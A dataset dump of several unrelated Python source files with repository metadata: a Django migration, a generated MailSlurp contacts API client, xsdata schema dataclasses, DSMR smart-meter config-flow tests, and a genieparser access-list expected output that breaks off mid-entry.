metrics', }, ), migrations.CreateModel( name='YearMetric', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('count', models.IntegerField(default=0)), ('date_up', models.DateField(default=datetime.date.today)), ('object_id', models.PositiveIntegerField()), ('content_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')), ('metric', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='time_metrics.Metric')), ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sites.Site')), ], options={ 'verbose_name': 'year metric', 'verbose_name_plural': 'year metrics', }, ), migrations.AddField( model_name='daymetric', name='metric', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='time_metrics.Metric'), ), migrations.AddField( model_name='daymetric', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sites.Site'), ), ]

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0

1

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1

0

null

0

6

b9f69a8e9acd1db764be11e30be23d0e73ba21bc

31,083

py

Python

mailslurp_client/api/contact_controller_api.py

mailslurp/mailslurp-client-python

a1e9fdc6eb06e192909fd57a64813beb32419594

[ "MIT" ]

6

2020-04-30T07:47:42.000Z

2022-03-24T20:58:58.000Z

mailslurp_client/api/contact_controller_api.py

mailslurp/mailslurp-client-python

a1e9fdc6eb06e192909fd57a64813beb32419594

[ "MIT" ]

1

2020-09-20T19:58:21.000Z

2020-11-29T16:49:19.000Z

mailslurp_client/api/contact_controller_api.py

mailslurp/mailslurp-client-python

a1e9fdc6eb06e192909fd57a64813beb32419594

[ "MIT" ]

1

2019-08-09T14:55:50.000Z

# coding: utf-8 """ MailSlurp API MailSlurp is an API for sending and receiving emails from dynamically allocated email addresses. It's designed for developers and QA teams to test applications, process inbound emails, send templated notifications, attachments, and more. ## Resources - [Homepage](https://www.mailslurp.com) - Get an [API KEY](https://app.mailslurp.com/sign-up/) - Generated [SDK Clients](https://www.mailslurp.com/docs/) - [Examples](https://github.com/mailslurp/examples) repository # noqa: E501 The version of the OpenAPI document: 6.5.2 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from mailslurp_client.api_client import ApiClient from mailslurp_client.exceptions import ( # noqa: F401 ApiTypeError, ApiValueError ) class ContactControllerApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def create_contact(self, create_contact_options, **kwargs): # noqa: E501 """Create a contact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_contact(create_contact_options, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param CreateContactOptions create_contact_options: createContactOptions (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ContactDto If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.create_contact_with_http_info(create_contact_options, **kwargs) # noqa: E501 def create_contact_with_http_info(self, create_contact_options, **kwargs): # noqa: E501 """Create a contact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_contact_with_http_info(create_contact_options, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param CreateContactOptions create_contact_options: createContactOptions (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ContactDto, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'create_contact_options' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method create_contact" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'create_contact_options' is set if self.api_client.client_side_validation and ('create_contact_options' not in local_var_params or # noqa: E501 local_var_params['create_contact_options'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `create_contact_options` when calling `create_contact`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'create_contact_options' in local_var_params: body_params = local_var_params['create_contact_options'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['API_KEY'] # noqa: E501 return self.api_client.call_api( '/contacts', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ContactDto', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_contact(self, contact_id, **kwargs): # noqa: E501 """Delete contact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_contact(contact_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str contact_id: contactId (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_contact_with_http_info(contact_id, **kwargs) # noqa: E501 def delete_contact_with_http_info(self, contact_id, **kwargs): # noqa: E501 """Delete contact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_contact_with_http_info(contact_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str contact_id: contactId (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'contact_id' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_contact" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'contact_id' is set if self.api_client.client_side_validation and ('contact_id' not in local_var_params or # noqa: E501 local_var_params['contact_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `contact_id` when calling `delete_contact`") # noqa: E501 collection_formats = {} path_params = {} if 'contact_id' in local_var_params: path_params['contactId'] = local_var_params['contact_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['API_KEY'] # noqa: E501 return self.api_client.call_api( '/contacts/{contactId}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_contacts(self, **kwargs): # noqa: E501 """Get all contacts # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_contacts(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param datetime before: Filter by created at before the given timestamp :param int page: Optional page index in list pagination :param datetime since: Filter by created at after the given timestamp :param int size: Optional page size in list pagination :param str sort: Optional createdAt sort direction ASC or DESC :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: PageContactProjection If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_contacts_with_http_info(**kwargs) # noqa: E501 def get_all_contacts_with_http_info(self, **kwargs): # noqa: E501 """Get all contacts # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_contacts_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param datetime before: Filter by created at before the given timestamp :param int page: Optional page index in list pagination :param datetime since: Filter by created at after the given timestamp :param int size: Optional page size in list pagination :param str sort: Optional createdAt sort direction ASC or DESC :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(PageContactProjection, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'before', 'page', 'since', 'size', 'sort' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_contacts" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'before' in local_var_params and local_var_params['before'] is not None: # noqa: E501 query_params.append(('before', local_var_params['before'])) # noqa: E501 if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501 query_params.append(('page', local_var_params['page'])) # noqa: E501 if 'since' in local_var_params and local_var_params['since'] is not None: # noqa: E501 query_params.append(('since', local_var_params['since'])) # noqa: E501 if 'size' in local_var_params and local_var_params['size'] is not None: # noqa: E501 query_params.append(('size', local_var_params['size'])) # noqa: E501 if 'sort' in local_var_params and local_var_params['sort'] is not None: # noqa: E501 query_params.append(('sort', local_var_params['sort'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['API_KEY'] # noqa: E501 return self.api_client.call_api( '/contacts/paginated', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PageContactProjection', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_contact(self, contact_id, **kwargs): # noqa: E501 """Get contact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_contact(contact_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str contact_id: contactId (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ContactDto If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_contact_with_http_info(contact_id, **kwargs) # noqa: E501 def get_contact_with_http_info(self, contact_id, **kwargs): # noqa: E501 """Get contact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_contact_with_http_info(contact_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str contact_id: contactId (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ContactDto, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'contact_id' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_contact" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'contact_id' is set if self.api_client.client_side_validation and ('contact_id' not in local_var_params or # noqa: E501 local_var_params['contact_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `contact_id` when calling `get_contact`") # noqa: E501 collection_formats = {} path_params = {} if 'contact_id' in local_var_params: path_params['contactId'] = local_var_params['contact_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['API_KEY'] # noqa: E501 return self.api_client.call_api( '/contacts/{contactId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ContactDto', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_contact_v_card(self, contact_id, **kwargs): # noqa: E501 """Get contact vCard vcf file # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_contact_v_card(contact_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str contact_id: contactId (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: str If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_contact_v_card_with_http_info(contact_id, **kwargs) # noqa: E501 def get_contact_v_card_with_http_info(self, contact_id, **kwargs): # noqa: E501 """Get contact vCard vcf file # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_contact_v_card_with_http_info(contact_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str contact_id: contactId (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(str, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'contact_id' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_contact_v_card" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'contact_id' is set if self.api_client.client_side_validation and ('contact_id' not in local_var_params or # noqa: E501 local_var_params['contact_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `contact_id` when calling `get_contact_v_card`") # noqa: E501 collection_formats = {} path_params = {} if 'contact_id' in local_var_params: path_params['contactId'] = local_var_params['contact_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/octet-stream']) # noqa: E501 # Authentication setting auth_settings = ['API_KEY'] # noqa: E501 return self.api_client.call_api( '/contacts/{contactId}/download', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_contacts(self, **kwargs): # noqa: E501 """Get all contacts # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_contacts(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[ContactProjection] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_contacts_with_http_info(**kwargs) # noqa: E501 def get_contacts_with_http_info(self, **kwargs): # noqa: E501 """Get all contacts # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_contacts_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[ContactProjection], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_contacts" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['API_KEY'] # noqa: E501 return self.api_client.call_api( '/contacts', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[ContactProjection]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)

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null

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b9fb65b57d2f2bc39e6e3a9c6f9fac58f0dea3de

1,509

py

Python

output/models/ms_data/particles/particles_z008_xsd/particles_z008.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

1

2021-08-14T17:59:21.000Z

output/models/ms_data/particles/particles_z008_xsd/particles_z008.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

4

2020-02-12T21:30:44.000Z

2020-04-15T20:06:46.000Z

output/models/ms_data/particles/particles_z008_xsd/particles_z008.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

null

from dataclasses import dataclass, field from typing import Optional __NAMESPACE__ = "urn:my-namespace" @dataclass class ContainHead2Type: member2: Optional[str] = field( default=None, metadata={ "name": "Member2", "type": "Element", "namespace": "urn:my-namespace", } ) head2: Optional[str] = field( default=None, metadata={ "name": "Head2", "type": "Element", "namespace": "urn:my-namespace", } ) @dataclass class ContainMember2Type: member2: Optional[str] = field( default=None, metadata={ "name": "Member2", "type": "Element", "namespace": "urn:my-namespace", "required": True, } ) head2: Optional[str] = field( default=None, metadata={ "name": "Head2", "type": "Element", "namespace": "urn:my-namespace", } ) @dataclass class Head2: class Meta: namespace = "urn:my-namespace" value: str = field( default="", metadata={ "required": True, } ) @dataclass class Member2: class Meta: namespace = "urn:my-namespace" value: str = field( default="", metadata={ "required": True, } ) @dataclass class Root(ContainMember2Type): class Meta: name = "root" namespace = "urn:my-namespace"

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6

e02d9a747a62e7e25852ddfea65d2e77ec57e0d4

69

py

Python

fds/datax/_get_data/__init__.py

factset/fds-datax

4796d65b3ad25b4295999f59d3244db1b8eace6f

[ "Apache-2.0" ]

1

2022-02-01T19:12:23.000Z

fds/datax/_get_data/__init__.py

factset/fds-datax

4796d65b3ad25b4295999f59d3244db1b8eace6f

[ "Apache-2.0" ]

null

fds/datax/_get_data/__init__.py

factset/fds-datax

4796d65b3ad25b4295999f59d3244db1b8eace6f

[ "Apache-2.0" ]

null

from fds.datax._get_data._get_data import (GetSDFData as getsdfdata)

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Python

tests/components/dsmr/test_config_flow.py

pcaston/core

e74d946cef7a9d4e232ae9e0ba150d18018cfe33

[ "Apache-2.0" ]

1

2021-07-08T20:09:55.000Z

tests/components/dsmr/test_config_flow.py

pcaston/core

e74d946cef7a9d4e232ae9e0ba150d18018cfe33

[ "Apache-2.0" ]

47

2021-02-21T23:43:07.000Z

2022-03-31T06:07:10.000Z

tests/components/dsmr/test_config_flow.py

OpenPeerPower/core

f673dfac9f2d0c48fa30af37b0a99df9dd6640ee

[ "Apache-2.0" ]

null

"""Test the DSMR config flow.""" import asyncio from itertools import chain, repeat from unittest.mock import DEFAULT, AsyncMock, patch import serial from openpeerpower import config_entries, data_entry_flow, setup from openpeerpower.components.dsmr import DOMAIN from tests.common import MockConfigEntry SERIAL_DATA = {"serial_id": "12345678", "serial_id_gas": "123456789"} async def test_import_usb(opp, dsmr_connection_send_validate_fixture): """Test we can import.""" await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } with patch("openpeerpower.components.dsmr.async_setup_entry", return_value=True): result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data=entry_data, ) assert result["type"] == "create_entry" assert result["title"] == "/dev/ttyUSB0" assert result["data"] == {**entry_data, **SERIAL_DATA} async def test_import_usb_failed_connection(opp, dsmr_connection_send_validate_fixture): """Test we can import.""" (connection_factory, transport, protocol) = dsmr_connection_send_validate_fixture await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } # override the mock to have it fail the first time and succeed after first_fail_connection_factory = AsyncMock( return_value=(transport, protocol), side_effect=chain([serial.serialutil.SerialException], repeat(DEFAULT)), ) with patch( "openpeerpower.components.dsmr.async_setup_entry", return_value=True ), patch( "openpeerpower.components.dsmr.config_flow.create_dsmr_reader", first_fail_connection_factory, ): result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data=entry_data, ) assert result["type"] == "abort" assert result["reason"] == "cannot_connect" async def test_import_usb_no_data(opp, dsmr_connection_send_validate_fixture): """Test we can import.""" (connection_factory, transport, protocol) = dsmr_connection_send_validate_fixture await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } # override the mock to have it fail the first time and succeed after wait_closed = AsyncMock( return_value=(transport, protocol), side_effect=chain([asyncio.TimeoutError], repeat(DEFAULT)), ) protocol.wait_closed = wait_closed with patch("openpeerpower.components.dsmr.async_setup_entry", return_value=True): result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data=entry_data, ) assert result["type"] == "abort" assert result["reason"] == "cannot_communicate" async def test_import_usb_wrong_telegram(opp, dsmr_connection_send_validate_fixture): """Test we can import.""" (connection_factory, transport, protocol) = dsmr_connection_send_validate_fixture await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } protocol.telegram = {} with patch("openpeerpower.components.dsmr.async_setup_entry", return_value=True): result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data=entry_data, ) assert result["type"] == "abort" assert result["reason"] == "cannot_communicate" async def test_import_network(opp, dsmr_connection_send_validate_fixture): """Test we can import from network.""" await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "host": "localhost", "port": "1234", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } with patch("openpeerpower.components.dsmr.async_setup_entry", return_value=True): result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data=entry_data, ) assert result["type"] == "create_entry" assert result["title"] == "localhost:1234" assert result["data"] == {**entry_data, **SERIAL_DATA} async def test_import_update(opp, dsmr_connection_send_validate_fixture): """Test we can import.""" await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } entry = MockConfigEntry( domain=DOMAIN, data=entry_data, unique_id="/dev/ttyUSB0", ) entry.add_to_opp(opp) with patch( "openpeerpower.components.dsmr.async_setup_entry", return_value=True ), patch("openpeerpower.components.dsmr.async_unload_entry", return_value=True): await opp.config_entries.async_setup(entry.entry_id) await opp.async_block_till_done() new_entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 3, "reconnect_interval": 30, } with patch( "openpeerpower.components.dsmr.async_setup_entry", return_value=True ), patch("openpeerpower.components.dsmr.async_unload_entry", return_value=True): result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data=new_entry_data, ) await opp.async_block_till_done() assert result["type"] == "abort" assert result["reason"] == "already_configured" assert entry.data["precision"] == 3 async def test_options_flow(opp): """Test options flow.""" await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } entry = MockConfigEntry( domain=DOMAIN, data=entry_data, unique_id="/dev/ttyUSB0", ) entry.add_to_opp(opp) result = await opp.config_entries.options.async_init(entry.entry_id) assert result["type"] == "form" assert result["step_id"] == "init" result = await opp.config_entries.options.async_configure( result["flow_id"], user_input={ "time_between_update": 15, }, ) with patch( "openpeerpower.components.dsmr.async_setup_entry", return_value=True ), patch("openpeerpower.components.dsmr.async_unload_entry", return_value=True): assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY await opp.async_block_till_done() assert entry.options == {"time_between_update": 15} async def test_import_luxembourg(opp, dsmr_connection_send_validate_fixture): """Test we can import.""" await setup.async_setup_component(opp, "persistent_notification", {}) entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "5L", "precision": 4, "reconnect_interval": 30, } with patch("openpeerpower.components.dsmr.async_setup_entry", return_value=True): result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data=entry_data, ) assert result["type"] == "create_entry" assert result["title"] == "/dev/ttyUSB0" assert result["data"] == {**entry_data, **SERIAL_DATA}

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0efbcbcedd750b6cc8e00716e55da8079daef7c4

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py

Python

app/Camera/__init__.py

gizmo-cda/g2x

841364b8ef4ef4197bbb3682f33ff4ddd539619f

[ "MIT" ]

null

app/Camera/__init__.py

gizmo-cda/g2x

841364b8ef4ef4197bbb3682f33ff4ddd539619f

[ "MIT" ]

null

app/Camera/__init__.py

gizmo-cda/g2x

841364b8ef4ef4197bbb3682f33ff4ddd539619f

[ "MIT" ]

null

from .camera_controller import CameraController

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160052f0e99ceed94956511a2be3a21c5039bdea

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py

Python

src/genie/libs/parser/ios/tests/ShowAccessLists/cli/equal/golden_output_standard_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

204

2018-06-27T00:55:27.000Z

2022-03-06T21:12:18.000Z

src/genie/libs/parser/ios/tests/ShowAccessLists/cli/equal/golden_output_standard_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

468

2018-06-19T00:33:18.000Z

2022-03-31T23:23:35.000Z

src/genie/libs/parser/ios/tests/ShowAccessLists/cli/equal/golden_output_standard_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

309

2019-01-16T20:21:07.000Z

2022-03-30T12:56:41.000Z

expected_output = { "1": { "aces": { "10": { "actions": {"forwarding": "permit"}, "matches": { "l3": { "ipv4": { "protocol": "ipv4", "source_network": { "172.20.10.10 0.0.0.0": { "source_network": "172.20.10.10 0.0.0.0" } }, } } }, "name": "10", } }, "name": "1", "type": "ipv4-acl-type", "acl_type": "standard", }, "10": { "aces": { "10": { "actions": {"forwarding": "permit"}, "matches": { "l3": { "ipv4": { "protocol": "ipv4", "source_network": { "10.66.12.12 0.0.0.0": { "source_network": "10.66.12.12 0.0.0.0" } }, } } }, "name": "10", } }, "name": "10", "type": "ipv4-acl-type", "acl_type": "standard", }, "12": { "aces": { "10": { "actions": {"forwarding": "deny"}, "matches": { "l3": { "ipv4": { "protocol": "ipv4", "source_network": { "10.16.3.2 0.0.0.0": { "source_network": "10.16.3.2 0.0.0.0" } }, } } }, "name": "10", } }, "name": "12", "type": "ipv4-acl-type", "acl_type": "standard", }, "32": { "aces": { "10": { "actions": {"forwarding": "permit"}, "matches": { "l3": { "ipv4": { "protocol": "ipv4", "source_network": { "172.20.20.20 0.0.0.0": { "source_network": "172.20.20.20 0.0.0.0" } }, } } }, "name": "10", } }, "name": "32", "type": "ipv4-acl-type", "acl_type": "standard", }, "34": { "aces": { "10": { "actions": {"forwarding": "permit"}, "matches": { "l3": { "ipv4": { "protocol": "ipv4", "source_network": { "10.24.35.56 0.0.0.0": { "source_network": "10.24.35.56 0.0.0.0" } }, } } }, "name": "10", }, "20": { "actions": {"forwarding": "permit"}, "matches": { "l3": { "ipv4": { "protocol": "ipv4", "source_network": { "10.34.56.34 0.0.0.0": { "source_network": "10.34.56.34 